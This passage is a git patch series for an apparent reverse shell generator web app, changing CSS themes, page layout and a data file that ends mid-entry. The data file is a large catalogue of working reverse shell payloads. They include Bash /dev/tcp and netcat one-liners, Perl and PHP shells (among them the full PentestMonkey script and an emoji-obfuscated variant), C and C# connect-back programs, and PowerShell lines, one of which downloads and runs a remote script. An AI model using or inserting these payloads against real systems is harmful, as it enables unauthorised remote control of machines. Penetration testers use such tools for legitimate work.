From f722d7de985406081edf3d9573d1fe8e2a1e4dc0 Mon Sep 17 00:00:00 2001 From: briskets Date: Sat, 13 Mar 2021 17:46:18 -0500 Subject: [PATCH 1/6] wip: adds more features, cleanup --- css/dark-mode.css | 6 + css/dark-mode.min.css | 2 +- css/light-mode.css | 50 ++-- css/light-mode.min.css | 2 +- index.html | 545 ++++++++++++++++++++++++----------------- js/data.js | 27 +- 6 files changed, 380 insertions(+), 252 deletions(-) diff --git a/css/dark-mode.css b/css/dark-mode.css index b9c8ece..6151e2b 100644 --- a/css/dark-mode.css +++ b/css/dark-mode.css @@ -66,4 +66,10 @@ h2 { .card-body { max-height: 40rem; +} + +.list-group-item.active, +.list-group-item-action:focus, +.list-group-item-action:hover { + background-color: #375a7f; } \ No newline at end of file diff --git a/css/dark-mode.min.css b/css/dark-mode.min.css index 6194c43..96c967f 100644 --- a/css/dark-mode.min.css +++ b/css/dark-mode.min.css @@ -1 +1 @@ -.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem} \ No newline at end of file +.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f} \ No newline at end of file diff --git a/css/light-mode.css b/css/light-mode.css index 7143fb6..edde325 100644 --- a/css/light-mode.css +++ b/css/light-mode.css @@ -8,7 +8,7 @@ Ain't got time for using CSS the right way. !important everything! [data-theme="light"] .card { background-color: rgb(175, 139, 173) !important; - color:#000; + color: #000; } [data-theme="light"] .bg-white { @@ -38,14 +38,14 @@ Ain't got time for using CSS the right way. !important everything! } [data-theme="light"] .input-group-text { - background-color:#f1c6ce; - color:#000; + background-color: #f1c6ce; + color: #000; } [data-theme="light"] .btn { background-color: #a56096; - color:#000; - border-color:#a56096; + color: #000; + border-color: #a56096; } [data-theme="light"] .highlighted-parameter { @@ -64,16 +64,16 @@ Ain't got time for using CSS the right way. !important everything! user-select: none; } -[data-theme="light"] .custom-control-input:checked~.custom-control-label::before{ - background-color:#7223b5; - } +[data-theme="light"] .custom-control-input:checked~.custom-control-label::before { + background-color: #7223b5; +} [data-theme="light"] #listener-command { border: none !important; border-radius: 5px; box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); background-color: rgb(45, 139, 135); - color:#000; + color: #000; } [data-theme="light"] #reverse-shell-command { @@ -81,32 +81,33 @@ Ain't got time for using CSS the right way. !important everything! border-radius: 5px; box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); background-color: rgb(45, 139, 135); - color:#000; + color: #000; max-height: 20rem; } [data-theme="light"] .custom-select { background-color: #f1c6ce; - color:#000; - border-color:#a56096; + color: #000; + border-color: #a56096; } [data-theme="light"] .custom-control-input:checked { - color:#000; + color: #000; } [data-theme="light"] a { - background-color:#f1c6ce; - color:#000; + background-color: #f1c6ce; + color: #000; } -[data-theme="light"] .list-group-item{ - color:#000; +[data-theme="light"] .list-group-item { + background-color: #f1c6ce; + color: #000; } [data-theme="light"] .list-group-item.active { -background-color:#a56096; -border-color: #000; + background-color: #a56096; + border-color: #000; } [data-theme="light"] .list-group-item:hover { @@ -114,7 +115,7 @@ border-color: #000; } [data-theme="light"] .list-group-item.hover { - background-color:rgba(153, 28, 143, 0.75); + background-color: rgba(153, 28, 143, 0.75); } [data-theme="light"] .container { @@ -125,15 +126,14 @@ border-color: #000; } [data-theme="light"] .card-title { -color: #000 !important; + color: #000 !important; } [data-theme="light"] .custom-control-label { -color: black; + color: black; } -[data-theme="light"] h2 - { +[data-theme="light"] h2 { color: white; text-align: center; } @@ -289,4 +289,4 @@ color: black; 100% { color: orange; } -} +} \ No newline at end of file diff --git a/css/light-mode.min.css b/css/light-mode.min.css index df32762..964b486 100644 --- a/css/light-mode.min.css +++ b/css/light-mode.min.css @@ -1 +1 @@ -[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}} \ No newline at end of file +[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}} \ No newline at end of file diff --git a/index.html b/index.html index 785d407..4c4a74c 100644 --- a/index.html +++ b/index.html @@ -12,7 +12,8 @@ - + @@ -32,14 +33,15 @@
- +
- Configuration + IP & Port
+
@@ -50,7 +52,7 @@ IP
@@ -62,11 +64,11 @@ Port
@@ -87,7 +89,7 @@
- +
@@ -109,7 +111,7 @@
-
+
๐Ÿš€

@@ -141,117 +143,188 @@
 
         
- -
-
+ +
+ +
+ +
+
- -
- - -
+ + -
Reverse shell
+
+
+ +
+
-
-
- - -
-
- -
+ +
+ +
- -
- - -
-
-
๐Ÿš€
-

-                                
-
- - - - - -
-
- -
- -
-
-
- - -
-
- -
- -
-
-
- - - - - - - -
- -
- - -
- - -
- + +
+ +
- + + + +
+ + +
+ + +
Type
+
+ +
+
+ + +
+
+ +
+
+ + +
+ + +
+
+
๐Ÿš€
+

+                                        
+
+ + +
+ + +
+
+ +
+ +
+
+
+ + +
+
+ +
+ +
+
+
+ +
+ + +
+ +
+ + +
+ + +
+ +
+ + +
+
+
- - +
+ +
...
+
...
+
...
- + +
-
@@ -272,14 +345,40 @@ - + \ No newline at end of file diff --git a/js/data.js b/js/data.js index f5e44c6..8b9d53d 100644 --- a/js/data.js +++ b/js/data.js @@ -10,13 +10,17 @@ const rsgData = { ], shells: ['sh', '/bin/sh', 'bash', '/bin/bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'], - + + upgrade: ['python', ], + //C shell needs fixed reverseShellsCommands: [ ['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'], ['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'], ['Bash read line', 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done'], ['Bash 5', '{shell} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5'], ['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'], + ['C', '#include <stdio.h\>\n#include <sys\/socket.h\>\n#include <sys\/types.h\>\n#include <stdlib.h\>\n#include <unistd.h>\n#include <netinet/in.h\>\n#include <arpa/inet.h\>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr("{ip}");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {"{shell}", NULL};\n execve("{shell}", argv, NULL);\n\n return 0; \n}'], + ['C#', 'using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n public class Program\n {\n static StreamWriter streamWriter;\n\n public static void Main(string[] args)\n {\n using(TcpClient client = new TcpClient("10.0.2.15", 443))\n {\n using(Stream stream = client.GetStream())\n {\n using(StreamReader rdr = new StreamReader(stream))\n {\n streamWriter = new StreamWriter(stream);\n \n StringBuilder strInput = new StringBuilder();\n\n Process p = new Process();\n p.StartInfo.FileName = "cmd.exe";\n p.StartInfo.CreateNoWindow = true;\n p.StartInfo.UseShellExecute = false;\n p.StartInfo.RedirectStandardOutput = true;\n p.StartInfo.RedirectStandardInput = true;\n p.StartInfo.RedirectStandardError = true;\n p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n p.Start();\n p.BeginOutputReadLine();\n\n while(true)\n {\n strInput.Append(rdr.ReadLine());\n //strInput.Append("\\n");\n p.StandardInput.WriteLine(strInput);\n strInput.Remove(0, strInput.Length);\n }\n }\n }\n }\n }\n\n private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n }\n}'], ['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f'], ['nc -e', 'nc -e {shell} {ip} {port}'], ['nc -c', 'nc -c {shell} {ip} {port}'], @@ -41,7 +45,7 @@ const rsgData = { ['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("{shell} -i <&%d >&%d 2>&%d",f,f,f)\''], ['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''], ['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'], - ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'bash -li\',pty,stderr,setsid,sigint,sane'], + ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'{shell}\',pty,stderr,setsid,sigint,sane'], ['awk', 'awk \'BEGIN {s = "/inet/tcp/0/{ip}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'], ['node.js', 'require(\'child_process\').exec(\'nc -e {shell} {ip} {port}\')'], ['telnet', 'TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF'], @@ -49,5 +53,22 @@ const rsgData = { specialCommands: { 'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' - } + }, + commands: [ + { + name: 'Bash -i', + command: '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1', + meta: ['linux', 'windows', 'mac'] + }, + { + name: 'Bash 196', + command: '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196', + meta: ['windows', 'mac'] + }, + { + name: 'Bash read line', + command: 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done', + meta: ['linux', 'mac'] + }, + ] } From 570950e716a79f6d1aa30e0afca2ffd044533ccc Mon Sep 17 00:00:00 2001 From: briskets Date: Sat, 13 Mar 2021 19:42:11 -0500 Subject: [PATCH 2/6] more fixes --- index.html | 12 +-- js/data.js | 263 +++++++++++++++++++++++++++++++++++++++++------------ 2 files changed, 213 insertions(+), 62 deletions(-) diff --git a/index.html b/index.html index 26b3d59..c576b4e 100644 --- a/index.html +++ b/index.html @@ -374,7 +374,7 @@ document.querySelector("#os-options").addEventListener("change", (event) => { const selectedOS = event.target.value; - const data = rsgData.commands; + const data = rsgData.reverseShellCommands; const filteredItems = data.filter(item => { if (selectedOS !== "all") { @@ -410,8 +410,8 @@ getPort: () => Number(portInput.value || portInput.getAttribute('placeholder')), getReverseShellCommand: () => { - const reverseShellData = rsgData.reverseShellsCommands.filter((reverseShellData) => reverseShellData[0] === rsg.currentCommandType)[0]; - return reverseShellData[1] + const reverseShellData = rsgData.reverseShellCommands.find((item) => item.name === rsg.currentCommandType); + return reverseShellData.command; }, highlightParameters: (text, encoder) => { @@ -470,7 +470,7 @@ // }) // }, - initReverseShellSelection: (items = rsgData.commands) => { + initReverseShellSelection: (items = rsgData.reverseShellCommands) => { items.map((item, index) => { const { name, command } = item; @@ -592,7 +592,7 @@ encodingSelect.addEventListener("change", dropdownUpdate); document.querySelector('#inc-port').addEventListener('click', () => { - portInput.val(rsg.getPort() + 1); + portInput.value = rsg.getPort() + 1; rsg.update(); setLocalStorage(portInput, "port", "value"); }) @@ -722,4 +722,4 @@ - \ No newline at end of file + diff --git a/js/data.js b/js/data.js index 42f4e80..4d41deb 100644 --- a/js/data.js +++ b/js/data.js @@ -2,7 +2,7 @@ const rsgData = { listenerCommands: [ ['nc', 'nc -lvnp {port}'], - ['rlwrap + nc', 'rlwrap nc -lvnp {port}'], + ['rlwrap + nc', 'rlwrap -cAr nc -lvnp {port}'], ['pwncat', 'python3 -m pwncat -lp {port}'], ['windows ConPty', 'stty raw -echo; (stty size; cat) | nc -lvnp {port}'], ['socat', 'socat -d -d TCP-LISTEN:{port} STDOUT'], @@ -10,68 +10,219 @@ const rsgData = { ['powercat', 'powercat -l -p {port}'] ], - shells: ['sh', '/bin/sh', 'bash', '/bin/bash', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'], + shells: ['sh', '/bin/sh', 'bash', '/bin/bash', 'cmd', 'powershell', 'ash', 'bsh', 'csh', 'ksh', 'zsh', 'pdksh', 'tcsh'], upgrade: ['python', ], - //C shell needs fixed - reverseShellsCommands: [ - ['Bash -i', '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1'], - ['Bash 196', '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196'], - ['Bash read line', 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done'], - ['Bash 5', '{shell} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5'], - ['Bash udp', '{shell} -i >& /dev/udp/{ip}/{port} 0>&1'], - ['C', '#include <stdio.h\>\n#include <sys\/socket.h\>\n#include <sys\/types.h\>\n#include <stdlib.h\>\n#include <unistd.h>\n#include <netinet/in.h\>\n#include <arpa/inet.h\>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr("{ip}");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {"{shell}", NULL};\n execve("{shell}", argv, NULL);\n\n return 0; \n}'], - ['C#', 'using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n public class Program\n {\n static StreamWriter streamWriter;\n\n public static void Main(string[] args)\n {\n using(TcpClient client = new TcpClient("10.0.2.15", 443))\n {\n using(Stream stream = client.GetStream())\n {\n using(StreamReader rdr = new StreamReader(stream))\n {\n streamWriter = new StreamWriter(stream);\n \n StringBuilder strInput = new StringBuilder();\n\n Process p = new Process();\n p.StartInfo.FileName = "cmd.exe";\n p.StartInfo.CreateNoWindow = true;\n p.StartInfo.UseShellExecute = false;\n p.StartInfo.RedirectStandardOutput = true;\n p.StartInfo.RedirectStandardInput = true;\n p.StartInfo.RedirectStandardError = true;\n p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n p.Start();\n p.BeginOutputReadLine();\n\n while(true)\n {\n strInput.Append(rdr.ReadLine());\n //strInput.Append("\\n");\n p.StandardInput.WriteLine(strInput);\n strInput.Remove(0, strInput.Length);\n }\n }\n }\n }\n }\n\n private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n }\n}'], - ['nc mkfifo', 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f'], - ['nc -e', 'nc -e {shell} {ip} {port}'], - ['nc -c', 'nc -c {shell} {ip} {port}'], - ['ncat -e', 'ncat {ip} {port} -e {shell} '], - ['ncat udp', 'ncat {ip} {port} -e {shell}'], - ['Emoji PHP', 'php -r \'$๐Ÿ˜€="1";$๐Ÿ˜="2";$๐Ÿ˜…="3";$๐Ÿ˜†="4";$๐Ÿ˜‰="5";$๐Ÿ˜Š="6";$๐Ÿ˜Ž="7";$๐Ÿ˜="8";$๐Ÿ˜š="9";$๐Ÿ™‚="0";$๐Ÿคข=" ";$๐Ÿค“="<";$๐Ÿค =">";$๐Ÿ˜ฑ="-";$๐Ÿ˜ต="&";$๐Ÿคฉ="i";$๐Ÿค”=".";$๐Ÿคจ="/";$๐Ÿฅฐ="a";$๐Ÿ˜="b";$๐Ÿ˜ถ="i";$๐Ÿ™„="h";$๐Ÿ˜‚="c";$๐Ÿคฃ="d";$๐Ÿ˜ƒ="e";$๐Ÿ˜„="f";$๐Ÿ˜‹="k";$๐Ÿ˜˜="n";$๐Ÿ˜—="o";$๐Ÿ˜™="p";$๐Ÿค—="s";$๐Ÿ˜‘="x";$๐Ÿ’€ = $๐Ÿ˜„. $๐Ÿค—. $๐Ÿ˜—. $๐Ÿ˜‚. $๐Ÿ˜‹. $๐Ÿ˜—. $๐Ÿ˜™. $๐Ÿ˜ƒ. $๐Ÿ˜˜;$๐Ÿš€ = "{ip}";$๐Ÿ’ป = {port};$๐Ÿš = "{shell}". $๐Ÿคข. $๐Ÿ˜ฑ. $๐Ÿคฉ. $๐Ÿคข. $๐Ÿค“. $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿ˜. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…;$๐Ÿคฃ = $๐Ÿ’€($๐Ÿš€,$๐Ÿ’ป);$๐Ÿ‘ฝ = $๐Ÿ˜ƒ. $๐Ÿ˜‘. $๐Ÿ˜ƒ. $๐Ÿ˜‚;$๐Ÿ‘ฝ($๐Ÿš);\''], - ['Perl', 'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell} -i");};\''], - ['Perl no sh', 'perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"{port}:{port}");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\''], - ['PHP PentestMonkey', '<?php\n\/\/ php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php\n\/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = \'{ip}\';\n$port = {port};\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = \'uname -a; w; id; {shell} -i\';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists(\'pcntl_fork\')) {\n $pid = pcntl_fork();\n \n if ($pid == -1) {\n printit(\"ERROR: Can\'t fork\");\n exit(1);\n }\n \n if ($pid) {\n exit(0); \/\/ Parent exits\n }\n if (posix_setsid() == -1) {\n printit(\"Error: Can\'t setsid()\");\n exit(1);\n }\n\n $daemon = 1;\n} else {\n printit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"\/\");\n\numask(0);\n\n\/\/ Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n printit(\"$errstr ($errno)\");\n exit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), \/\/ stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), \/\/ stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") \/\/ stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n printit(\"ERROR: Can\'t spawn shell\");\n exit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n if (feof($sock)) {\n printit(\"ERROR: Shell connection terminated\");\n break;\n }\n\n if (feof($pipes[1])) {\n printit(\"ERROR: Shell process terminated\");\n break;\n }\n\n $read_a = array($sock, $pipes[1], $pipes[2]);\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n if (in_array($sock, $read_a)) {\n if ($debug) printit(\"SOCK READ\");\n $input = fread($sock, $chunk_size);\n if ($debug) printit(\"SOCK: $input\");\n fwrite($pipes[0], $input);\n }\n\n if (in_array($pipes[1], $read_a)) {\n if ($debug) printit(\"STDOUT READ\");\n $input = fread($pipes[1], $chunk_size);\n if ($debug) printit(\"STDOUT: $input\");\n fwrite($sock, $input);\n }\n\n if (in_array($pipes[2], $read_a)) {\n if ($debug) printit(\"STDERR READ\");\n $input = fread($pipes[2], $chunk_size);\n if ($debug) printit(\"STDERR: $input\");\n fwrite($sock, $input);\n }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n if (!$daemon) {\n print \"$string\\n\";\n }\n}\n\n?>'], - ['PHP exec', 'php -r \'$sock=fsockopen("{ip}",{port});exec("{shell} -i <&3 >&3 2>&3");\''], - ['PHP shell_exec', 'php -r \'$sock=fsockopen("{ip}",{port});shell_exec("{shell} -i <&3 >&3 2>&3");\''], - ['PHP system', 'php -r \'$sock=fsockopen("{ip}",{port});system("{shell} -i <&3 >&3 2>&3");\''], - ['PHP passthru', 'php -r \'$sock=fsockopen("{ip}",{port});passthru("{shell} -i <&3 >&3 2>&3");\''], - ['PHP `', 'php -r \'$sock=fsockopen("{ip}",{port});`{shell} -i <&3 >&3 2>&3`;\''], - ['PHP popen', 'php -r \'$sock=fsockopen("{ip}",{port});popen("{shell} -i <&3 >&3 2>&3", "r");\''], - ['Windows ConPty', 'IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}'], - ['PowerShell #1', 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 